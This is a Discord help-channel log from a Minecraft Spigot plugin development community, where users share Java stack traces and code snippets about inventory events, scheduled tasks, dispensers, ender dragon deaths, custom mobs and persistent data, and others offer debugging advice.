Caused by: java.lang.NullPointerException: Cannot invoke "org.bukkit.inventory.ItemStack.getType()" because the return value of "org.bukkit.event.inventory.InventoryClickEvent.getCurrentItem()" is null

i try all metods, variants. But all don't give me result...

thorn isle
#

because the return value of [...]getCurrentItem() is null

tough rose
#

i know why i get this error but i don't know how fix this

thorn isle
#

assign it to a variable rather than calling the method every time

tough rose
#

i teach it 1 week, can you show me example where me do it?

thorn isle
#

not without a full error and line numbers

tough rose
# thorn isle not without a full error and line numbers

[00:37:57] [Server thread/ERROR]: Could not pass event InventoryClickEvent to Stacker v1.0
org.bukkit.event.EventException: null
at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:310) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at org.bukkit.plugin.RegisteredListener.callEvent(RegisteredListener.java:70) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at org.bukkit.plugin.SimplePluginManager.fireEvent(SimplePluginManager.java:589) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at org.bukkit.plugin.SimplePluginManager.callEvent(SimplePluginManager.java:576) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
at net.minecraft.server.network.PlayerConnection.a(PlayerConnection.java:2782) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
at net.minecraft.network.protocol.game.PacketPlayInWindowClick.a(SourceFile:58) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
at net.minecraft.network.protocol.game.PacketPlayInWindowClick.a(SourceFile:13) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
at net.minecraft.network.protocol.PlayerConnectionUtils.lambda$0(PlayerConnectionUtils.java:31) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]
at net.minecraft.server.TickTask.run(SourceFile:18) ~[spigot-1.20.1-R0.1-SNAPSHOT.jar:3871-Spigot-d2eba2c-3f9263b]

#

Caused by: java.lang.NullPointerException: Cannot invoke "org.bukkit.inventory.ItemStack.getType()" because the return value of "org.bukkit.event.inventory.InventoryClickEvent.getCurrentItem()" is null
at net.scr.stacker.Listener.getpotion.onPotion(getpotion.java:16) ~[?:?]
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[?:?]
at jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[?:?]
at jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[?:?]
at java.lang.reflect.Method.invoke(Method.java:568) ~[?:?]
at org.bukkit.plugin.java.JavaPluginLoader$1.execute(JavaPluginLoader.java:306) ~[spigot-api-1.20.1-R0.1-SNAPSHOT.jar:?]
... 20 more

#

i can send more, discord block

buoyant viper
#

?paste

undone axleBOT
rough ibex
#

Dont check the names of guis

#

bad idea

thorn isle
#

now let's see line 16 of the class

sly flint
#

hey guys i have this error [00:09:05 ERROR]: Error occurred while enabling ExcellentServerManager v2.3 (Is it up to date?) java.lang.NullPointerException: Cannot invoke "org.bukkit.command.PluginCommand.setExecutor(org.bukkit.command.CommandExecutor)" because the return value of "org.abo876.excellentServerManager.ExcellentServerManager.getCommand(String)" is null at org.abo876.excellentServerManager.ExcellentServerManager.registerCommands(ExcellentServerManager.java:238) ~[ExcellentServerManager-2.3.jar:?] at org.abo876.excellentServerManager.ExcellentServerManager.onEnable(ExcellentServerManager.java:186) ~[ExcellentServerManager-2.3.jar:?] at org.bukkit.plugin.java.JavaPlugin.setEnabled(JavaPlugin.java:281) ~[paper-api-1.19.4-R0.1-SNAPSHOT.jar:?] at io.papermc.paper.plugin.manager.PaperPluginInstanceManager.enablePlugin(PaperPluginInstanceManager.java:189) ~[paper-1.19.4.jar:git-Paper-550] at io.papermc.paper.plugin.manager.PaperPluginManagerImpl.enablePlugin(PaperPluginManagerImpl.java:104) ~[paper-1.19.4.jar:git-Paper-550] at org.bukkit.plugin.SimplePluginManager.enablePlugin(SimplePluginManager.java:507) ~[paper-api-1.19.4-R0.1-SNAPSHOT.jar:?] at org.bukkit.craftbukkit.v1_19_R3.CraftServer.enablePlugin(CraftServer.java:563) ~[paper-1.19.4.jar:git-Paper-550] at org.bukkit.craftbukkit.v1_19_R3.CraftServer.enablePlugins(CraftServer.java:474) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.MinecraftServer.loadWorld0(MinecraftServer.java:638) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.MinecraftServer.loadLevel(MinecraftServer.java:437) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.dedicated.DedicatedServer.initServer(DedicatedServer.java:308) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.MinecraftServer.runServer(MinecraftServer.java:1104) ~[paper-1.19.4.jar:git-Paper-550] at net.minecraft.server.MinecraftServer.lambda$spin$0(MinecraftServer.java:320) ~[paper-1.19.4.jar:git-Paper-550] at java.lang.Thread.run(Thread.java:840) ~[?:?] [00:09:05 INFO]: [ExcellentServerManager] Disabling ExcellentServerManager v2.3

#

and i don't how to fix it
i add 2 commands and it give me this error

#
  this.getCommand("hunter").setExecutor(new Hunter());```
eternal oxide
#

you didn;t add command/s to plugin.yml

sly flint
eternal oxide
#

you did a typo or you have a bad jar

worthy yarrow
remote swallow
#

what about it being outdated1outdated2outdated3

buoyant viper
#

doesnt sound very Excellent to me

grim hound
dense falcon
#
@EventHandler
    public void onInteract(PlayerInteractEvent event) {
        Player player = event.getPlayer();
        Action action = event.getAction();
        ItemStack item = event.getItem();

        if (event.getClickedBlock() != null && action == Action.RIGHT_CLICK_BLOCK) {
            BlockState state = event.getClickedBlock().getState();
            if (state instanceof Sign) {
                Sign sign = (Sign) state;
                SignSide signSide = sign.getSide(Side.FRONT);


                System.out.println(signSide.getLine(0));
                System.out.println(signSide.getLine(1));
                System.out.println(signSide.getLine(2));
            }
        }
    }
§l[§x§6§6§C§C§F§F§l1vs1§r§l]
§f1vs1-01
§cNature
```I used a panel generator to have custom panels and I would like to check if on the plugin side it is a specific panel, except that when I retrieve the lines it displays strange characters...

What can I do to avoid this?
dense falcon
sour mountain
fallow violet
#

What does Bukkit#getOfflinePlayer returns when a player is online and vise versa?

eternal oxide
#

it gets the OfflinePlayer

fallow violet
#

oke

slim wigeon
#

How do I check if the dispenser is powered?

eternal oxide
#

Touch its contacts with your tongue

slim wigeon
#

So I need the dispenser class?

eternal oxide
#

blockData

slim wigeon
#

From blockState? Then blockData?

thorn isle
#

you can get BlockData directly

eternal oxide
#

Block has a getBlockData

thorn isle
#

Block::getBlockData

#

you can also get the state if you also want to fiddle with e.g. the dispenser inventory contents

eternal oxide
#

You can even check the power to the block if you want that over its triggered state

thorn isle
#

there's also an event for when a dispenser fires in case you want to do something when it gets powered rather than if its powered

eternal oxide
#

So many answers 🙂

slim wigeon
#

There must not be a function for this check on dispensers. Because I not finding this function on 3 different classes

((Dispenser) this.getBlock().getBlockData()).isPowered();

thorn isle
#

which Dispenser did you import?

#

there are two; one for the tile entity and another for the block data

slim wigeon
eternal oxide
#

you will not get an isPowered from Dispenser

#

its triggered not powered

#

a Block has a getBlockPower() which returns a level of power

slim wigeon
#

What is the effect for flames?

torn shuttle
#

so annoying, I need to remake my dev environment

#

I now have an ecossystem that has...5 different plugins and 2 different shaded libraries I made to run one game mode

#

it's a torment to update anything and test it across mc versions

fervent robin
#

?paste

undone axleBOT
fervent robin
slim wigeon
jagged thicket
#

that looks cool asf

slim wigeon
#

I love how the plugin operates. I wish Songoda has something like this, it be useful for people to use. Not releasing my plugins

livid tundra
#

when I use EntityDeathEvent event to get the death of an ender dragon, it fires the moment the dragon is killed. however, I want to get the moment when I should start dropping stuff, i.e, after egg spawns/xp dropping starts/finishes

#

how do I do so?

slim wigeon
#

Maybe? Bukkit.getScheduler().scheduleSyncRepeatingTask(this, (Runnable)new Runnable() { @Override public void run() { for(Miner miner : miners) { miner.mine(); } } }, 2L, 2L);Without the for loop

#

That should help you but maybe someone can give you another way

livid tundra
#

?

smoky anchor
#

(Runnable)new Runnable()
That "cast" is useless, does your IDE not scream at you for that ?
And who are you talking to, did I miss some convo ?

slim wigeon
smoky anchor
#

Literally what
He's asking a question, not commenting about your plugin.

sterile axle
#

How does what you responded with answer their question in any way at all whatsoever

livid tundra
#

oh I think he read the "how do I do so" part seperately lol

#

srry bout that

sterile axle
#

Anyway, is EntityDeathEvent too early for what you want or? What. I'm not sure if there is another more applicable event.

livid tundra
#

I was asking about the question

slim wigeon
smoky anchor
sterile axle
livid tundra
#

yeah I dont htink thats an event

livid tundra
#

does dying happen before or after getdeathanimationtcks?

#

oh nvm lol

sterile axle
#

yep listen for that, if dying, you can probably just do a delayed task of 200 ticks (length of death animation) and then drop your items

#

or whatever you're doing

livid tundra
#

that kinda messes up the timing

smoky anchor
#

I'd probably create some debug logging for when which event fires & the value

sterile axle
#

or 200-getDeathAnimationTicks() to account for the delay, I suppose.

#

or +? idk

#

might have to play with it

smoky anchor
#

I think the animation starts when the dragon reaches the portal, stops and starts breaking
It would not account for the dragon first flying to the portal from the place where it died
Hence why I think you have to start a ticking task
But as person above me said, play with it

livid tundra
smoky anchor
#

Don't know
It may be when the animation starts
Again, test this

sterile axle
#
public static final EnderDragon.Phase DYING
The dragon will fly to the vicinity of the portal and die.
#

So the DYING phase includes flying to the portal before dying. I assume "and die" means the dying animation (which is 200 ticks long)

smoky anchor
#

Ye just was about to send that lul

sterile axle
#

So 200 + some time

livid tundra
#

alr, thx

sterile axle
#

Not sure how to get "some time"

#

But play with it

livid tundra
#

also, how do I do a repeating task to check?

smoky anchor
livid tundra
#

oh lol

smoky anchor
#

I think this allows you to cancel() from within

livid tundra
#

but like how would I end it

#

oh ok lol

#

thanks!

#

uh how exactly do I cancel from within?

#

do I have to save the taskid to a variable and use that within it?

smoky anchor
#

Actually you may have to create a BukkitTask

#

I haven't done this in years so I don't remember, sorry

#

Wiki has detailed description of dying

pseudo hazel
#

yes use a BukkitRunnable

#

that has a .cancel() method

livid tundra
#

alr, thanks!

#

yeah, your guess was right, thanks!

slim wigeon
#

How do I get the bedrock level of a world?

slim wigeon
slim wigeon
smoky anchor
#

You won't get any better with it

slim wigeon
tranquil pecan
smoky anchor
slim wigeon
#

If I want a quick response, I have to try ChatGPT first

smoky anchor
#

First you should check docs
If you were gonna ask ChatGPT anyways, why ask here, you're just wasting our time

slim wigeon
#

I do sometimes but like I said I don't know how long ago. I said that I ask multiple servers then I got threaten with a time out on PaperMC. I not the type of person who would wait 5+ months to get a functional server/plugins. That is one of the reasons I asked for the pirated plugin which I might buy if my money allows, then I got threaten with a ban. So what is it going to be?

smoky anchor
#

You're really annoying
None of what you said is relevant
Stop bringing old stuff nobody but you cares about

slim wigeon
#

Past follows, I don't know what to say. I cannot magically change the past like I wish I would. So if you find me annoying, you can do what other people always does, that is block me. Otherwise, I either keep the peace or try to

smoky anchor
#

I'm just asking you to stop bringing up irrelevant stuff

hardy cairn
#

hey does someone have an idea for how to make a soulbound items, i made one earlier but it was buggy

smoky anchor
#

As in an item that can never leave a players inventory ?

#

Probably just cancel all events that relate to moving item to other inventory.
For death I'd say force keep inventory and drop items manually if they're not soulbound

wooden frost
#

how much does Task.runtasklater affect the performance(if at all) compared to a single task that runs every tick?
For example, if i want to restore a certain block type after its broken,
Should i A: runtasklater and cancel the block break event.
Or B: Add the block to a hashmap and iterate through the hashmap in a Timer task that runs each tick(maybe 5 ticks).

Which would be better?

smoky anchor
#

If your A is: store the event and cancel it later
Then hell no, that is not only beyond cursed, but will not work.

chrome beacon
#

Can't cancel event after it has happened

#

Or well passed, you get what I mean..

wooden frost
#

I mean not cancel, yes, i meant :
Store the block type
Run a scheduled task inside of the event to replace the block type to the stored one.

#

something along the lines of this:
(BRO, PSEUDOCODE WRITTEN BY RUSSIAN SCHIZO, CHILL OUT😭)

@EventHandler
public static void(Event e){
  Block b = e.getBlock();
  Material MatReturn = b.getType();
  BukkitRunnable BR = {
    public void run(){
      b.setType(MatReturn);
    }
  };
  BR.runtasklater(plugin,12l);
}
wooden frost
smoky anchor
#

formatting please

blazing ocean
#

that is

#

something

wooden frost
smoky anchor
#

oh it hurts bad the more I look at this

#

oh- ok
Hope you follow java naming conventions in your actual code

wooden frost
#

It'll be read only by me, so unfortunately no

#

I never really gave it too much thought . As a wise man once said "if it works it works"

#

Good? no.

smoky anchor
#

I mean sure, just never show us then :D

wooden frost
#

😭

hardy cairn
wooden frost
smoky anchor
#

You don't need a hashmap
There are some optimizations you can do here

smoky anchor
hardy cairn
drowsy helm
#

depends whta the event is

smoky anchor
#

I personally would not do a task per block, I'd optimize the ticking task

drowsy helm
#

but either way it would be a negligible performance diff

wooden frost
#

yipee

#

gona do some more devious shit then😭

hardy cairn
#

i mean if it works its works

#

lol

wooden frost
smoky anchor
#

Remember that stuff like stairs exists, so storing just the material may not be enough to restore a block later.

hardy cairn
#

oh yea

smoky anchor
#

Depends on what you're doing tho.

hardy cairn
#

what you wanna do tho

#

like

#

what you cooking

drowsy helm
#

Just copy the world file, then when you need the block load the world and get the block at that given point

wooden frost
#

my brain melted

#

gona leave before it gets worse

#

😭

smoky anchor
#

👍

hardy cairn
wooden frost
#

Ok, in a nutshell, (non native moment, mental degradation), what i meant is if the ammount of tasks that were scheduled over the span of the server, can affect it's tps and performance (idk, maybe it has to iterate through more)
And also an added question i've just had, if it has a limit to ammount of schedules the server can handle

            @Override
            public void run() {
                BukkitRunnable BR = new BukkitRunnable() {
                    @Override
                    public void run() {
                        plugin.getServer().sendMessage(Component.text("Task ID:"+this.getTaskId()+" | TPS:"+plugin.getServer().getTPS()[0]));
                    }
                };
                BR.runTaskLater(plugin,10);
            }
        },0L,1L);```
wooden frost
wooden frost
smoky anchor
#

Ye just running a task like this won't hurt the performace in the long run

blazing ocean
#

?whereami

wooden frost
# blazing ocean ?whereami

stop being an asshole, i told u im banned there. plus isn't the bukkit runnable still the same BUKKIT runnable on paper?

blazing ocean
#

you are still using paper and this is spigot

#

you're banned there for a good reason

wooden frost
#

honestly, i'd say u're trolling at this point

#

gonna block you so that i dont get triggered

blazing ocean
smoky anchor
#

Yo why they banned there ? :D

wooden frost
wet breach
#

also, paper deviated from spigot some time ago

wet breach
#

therefore nothing in spigot is guaranteed to be the same in paper

young knoll
#

Let’s automod the word paper

#

Totally a good idea with no chance to backfire

short pilot
#

heyo guys i need help with custom mobs again

  • How could one make something like the bedbugs in Bedwars (custom iron golems) that attack players of a different team?
  • Custom mobs I currently make also do not save between resets and I am wondering how to implement this
#

i recall the NMS target selector

#

which does work

smoky anchor
#

Do you need custom mobs ?
Just setting the mob on the same team with the players should work.

short pilot
#

ok so

#

how do i put this one sec

smoky anchor
#

(or are those two separate things)

short pilot
#

this is an experimental factions plugin type thing im testing, trying to make each faction be able to have their own defenders that attack non friendly faction players

#

so the factions are coded and can be checked

smoky anchor
#

Aaah

short pilot
#

can i add this to target selectors ? Or is that not how it works

#

like can i do a check if the targeted player is in said faction , and not target it

smoky anchor
#

Ye that sounds doable

#

For the persistency
I think it was "give it a custom pdc tag, on entity load: despawn that entity and respawn your custom one"

short pilot
#

my original idea im not sure if it's good anymore; was planning on tracking the position coords etc and then reloading the custom entity data

#

dam pdc

#

can u give me any guides or docs on that

smoky anchor
#

?pdc

short pilot
#

and to check if it's the correct entity would this be a coordinate check ? or some other way

smoky anchor
#

no ?
Check the PDC of the entity

short pilot
#

hmm

smoky anchor
short pilot
#

in this case would pdc have to be unique for every custom mob?

#

im trying to think about how to differentiate between the faction's for each mob

smoky anchor
#

the PDC should be "I am a custom mob of this type"
You can use PDC to store other data too

short pilot
#

gotcha

#

so i coudl use that to store said "team" aka faction, and the mob custom type

smoky anchor
#

exactly

short pilot
#

gotcha thanks

#

are nbt tags ever used anymore

#

feels like it is similar

blazing ocean
#

PDC is a wrapper over the custom_data component, or NBT on older versions

short pilot
#

ah

#

ty for ur help

hushed spindle
#

looking at the docs for Bisected (block data), and it says how its halves denote the top or bottom half of a 2-tall block like a door. but it also has stairs or trap doors as implementations, but strangely enough not slabs

#

is that a mojang moment or could that be improved on spigot side

smoky anchor
#

Slabs don't have that 'cause they have 3 states
Top, Bottom, Double

hushed spindle
vital sandal
quaint mantle
#

can i change server view-distance with api?

#

i mean without server properites

slender elbow
#

no||t on spigot||

lime pulsar
#

?paste

undone axleBOT
worldly ingot
remote swallow
#

You can read?

pseudo hazel
#

he never said that

#

seems like you cant read either

slim wigeon
thorn isle
#

entity-tracking-range is for entities, view-distance is for chunks

blazing ocean
torn shuttle
#

huh

#

stopSound is doing something weird

#
[12:32:48] [Server thread/WARN]: [EliteMobs] Task #17944845 for EliteMobs v9.3.2 generated an exception
java.lang.NullPointerException: Cannot invoke "String.indexOf(int)" because "location" is null
    at net.minecraft.resources.ResourceLocation.bySeparator(ResourceLocation.java:82) ~[paper-1.21.4.jar:1.21.4-177-e5a8ee8]
    at net.minecraft.resources.ResourceLocation.parse(ResourceLocation.java:64) ~[paper-1.21.4.jar:1.21.4-177-e5a8ee8]
    at org.bukkit.craftbukkit.entity.CraftPlayer.stopSound(CraftPlayer.java:927) ~[paper-1.21.4.jar:1.21.4-177-e5a8ee8]
    at org.bukkit.craftbukkit.entity.CraftPlayer.stopSound(CraftPlayer.java:915) ~[paper-1.21.4.jar:1.21.4-177-e5a8ee8]
    at EliteMobs.jar/com.magmaguy.elitemobs.mobconstructor.custombosses.CustomMusic.lambda$play$1(CustomMusic.java:139) ~
<...>

((Player) player).stopSound(currentCustomMusic.name2);
what is that, a player going offline?

#

what is it even trying to do with the location

#

that can't actually be a bukkit location right

thorn isle
#

resourceLocation

torn shuttle
#

does it think that sound doesn't exist?

thorn isle
#

maybe it's location as in resource location rather than bukkit location

torn shuttle
#

it has to be

#

weird

thorn isle
#

which, iirc the packet lets you stop a specific sound

torn shuttle
#

so I am going to guess the sound somehow managed to just not exist and it results in an error

thorn isle
#

god knows

#

plug it into a debugger

torn shuttle
#

can't replicate it

thorn isle
#

💀

torn shuttle
#

matter of fact I've never seen it before to day and this code is

#

hm

#

7 months old

thorn isle
#

parse and bySeparator expect a string to parse

torn shuttle
#

well it is a string

#

and it is a not null string

thorn isle
#

are you maybe passing a Sound rather than a string?

#

I could maybe possibly see Sound.getKey() being null

#

    public void stopSound(Sound sound) {
        this.stopSound((Sound)sound, (SoundCategory)null);
    }

    public void stopSound(String sound) {
        this.stopSound((String)sound, (SoundCategory)null);
    }

    public void stopSound(Sound sound, SoundCategory category) {
        this.stopSound(sound.getKey().getKey(), category);
    }
torn shuttle
#

it's a string

#

becuse it's a custom sound from a rsp

blazing ocean
torn shuttle
#

hm, I'll just kill the error and output a debug line for future reference just in case

thorn isle
#

i don't see any data flow path apart from that getKey bit that'd result in a nonnull string ending up as null by the time it gets to that line

torn shuttle
#

well, guess 3 months from now I might get a hint about it

#

when it gets reported as just a console message

slim wigeon
#

How do I check if the area is air, water or lava? No solid blocks

worthy yarrow
#

Block.isSolid iirc

slim wigeon
#

That is for one block, I need a area

worthy yarrow
#

Yeah just iterate over the area and check .isSolid

slim wigeon
#

I did that and its not working public boolean isYLevelEmpty(int y) { for(int x = -size; x < size; x++) { for(int z = -size; z < size; z++) { if( this.block.getRelative(0, -2, 0).getRelative(x,-y,z).getType().isSolid() ) { return false; } } } return true; }

worthy yarrow
#

There’s no api for checking a region

worthy yarrow
slim wigeon
#

Because 0 is the miner if I don't do -2

worthy yarrow
#

So then why are we even passing a int for the y axis

#

Also you check the relative of some block not contained in that method, so god knows if that’s even the block you’re currently iterating over

slim wigeon
#

There is a function that calls this. I not getting up to send that function but this is why I asked if there is a area scanner I call it

worthy yarrow
#

No there’s not, you need to do that yourself, I figure the issue is with the duplicated .getRelative call

fervent robin
worthy yarrow
#

Should be getting the block at x,y,z then checking if it’s solid

valid basin
#

They changed packets again on 1.21.4. Does someone have a link to some updated wiki where I can see updated packets?

azure zealot
#

But was not updated since

#

What packet id do you wanna know

valid basin
#

It pisses me off they keep changing things constantly

#

Like 1.19 changed, 1.20 changed and they changed it again on 1.21

#

Like wth bro

azure zealot
#

I know :)

valid basin
#

I made it support 1.8-1.20

azure zealot
#

Ping me otherwise i will not notice

valid basin
#

But 1.21 crashed it again

#

Alright, thx 😊

dense falcon
#
    private void prepareGame() {
        int playersInServer = Bukkit.getOnlinePlayers().size();

        if (playersInServer >= 1) {
            Bukkit.broadcastMessage(ChatColor.GREEN + "Le jeu va pouvoir commencer !");
            new BukkitRunnable() {
                int timeLeft = 5; // secondes

                @Override
                public void run() {
                    if (timeLeft > 0) {
                        if (Bukkit.getOnlinePlayers().size() < 1) {
                            Bukkit.broadcastMessage(ChatColor.RED + "Le jeu ne peut pas commencer sans 2 joueurs !");
                            cancel();
                        }

                        Bukkit.broadcastMessage(ChatColor.GOLD + "[1vs1]" + ChatColor.RESET + "Le jeu débute dans " + ChatColor.RED + timeLeft + ChatColor.RESET + " secondes !");
                        for (Player p : Bukkit.getOnlinePlayers()) {
                            p.sendTitle(ChatColor.YELLOW + "Début dans " + timeLeft, "", 0, 20, 0);
                            p.playSound(p.getLocation(), Sound.ENTITY_EXPERIENCE_ORB_PICKUP, 1.0F, 1.0F);
                        }

                        timeLeft--;
                    } else {
                        Bukkit.broadcastMessage("Bonne chance à toutes et tous !");
                        giveEquipment();
                        teleportToSpawn();
                        this.cancel();
                    }
                }
            }.runTaskTimer(this.plugin, 0L, 20L); // 1s = 20 ticks
        }
    }

I'm getting a little problem, when the timeLeft is 0 I get items and teleported but I can't move because it still doing the BukkitRunnable, why?
It's doing this part in an infinite loop:

                        Bukkit.broadcastMessage("Bonne chance à toutes et tous !");
                        giveEquipment();
                        teleportToSpawn();
                        this.cancel();
umbral ridge
dense falcon
#

Well, now it works, no idea why it wasn't working before...

median path
#

meta.addAttributeModifier(Attribute.GENERIC_ATTACK_DAMAGE, new AttributeModifier("generic.attackDamage", 7, AttributeModifier.Operation.ADD_NUMBER));

my modifier is in every part of the item i want the modifier in the Main Hand only what do i need to change here

dense falcon
#
@EventHandler
    public void onPlayerDeath(PlayerDeathEvent event) {
        Player player_whois_dead = event.getEntity().getPlayer();
        if (player_whois_dead == null) {return;}

        String serverName = player_whois_dead.getServer().getMotd();
        if (!serverName.startsWith("1vs1")) { return; }


        for (Entity e : player_whois_dead.getWorld().getEntities()) {
            if (e instanceof Item) {
                e.remove();
            }
        }

        player_whois_dead.spigot().respawn();
        player_whois_dead.setGameMode(GameMode.ADVENTURE);

        Bukkit.broadcastMessage(ChatColor.GOLD + "[1vs1]" + ChatColor.RESET + " Le jeu est terminé, nous avons un vainceur !");
        Player winner = null;

        for (Player p : Bukkit.getOnlinePlayers()) {
            p.teleport(new Location(p.getWorld(), -2.5, 111, 0, 90, 0));

            int isVanished = Integer.parseInt(getKeyFromPlayer("vanish", p.getUniqueId().toString()));
            if (isVanished == 0 && !Objects.equals(p.getUniqueId().toString(), player_whois_dead.getUniqueId().toString())) {
                winner = p;
            }

            if (winner != null) {
                p.sendTitle(ChatColor.YELLOW + "Félécitations " + ChatColor.RED + ChatColor.BOLD + winner.getName(), "", 0, 60, 0);
                p.getInventory().clear();
                break;
            }
        }

        new BukkitRunnable() {
            int timeLeft = 3; // secondes

            @Override
            public void run() {
                if (timeLeft > 0) {
                    timeLeft--;
                } else {
                    for (Player p : Bukkit.getOnlinePlayers()) {
                        p.performCommand("lobby");
                    }
                    this.cancel();
                }
            }
        }.runTaskTimer(this.plugin, 0L, 60L); // 1s = 20 ticks
    }

Why I have the death "menu" when getting killed?

thorn isle
#

i see about 5 too many toString's in there

torn shuttle
lost matrix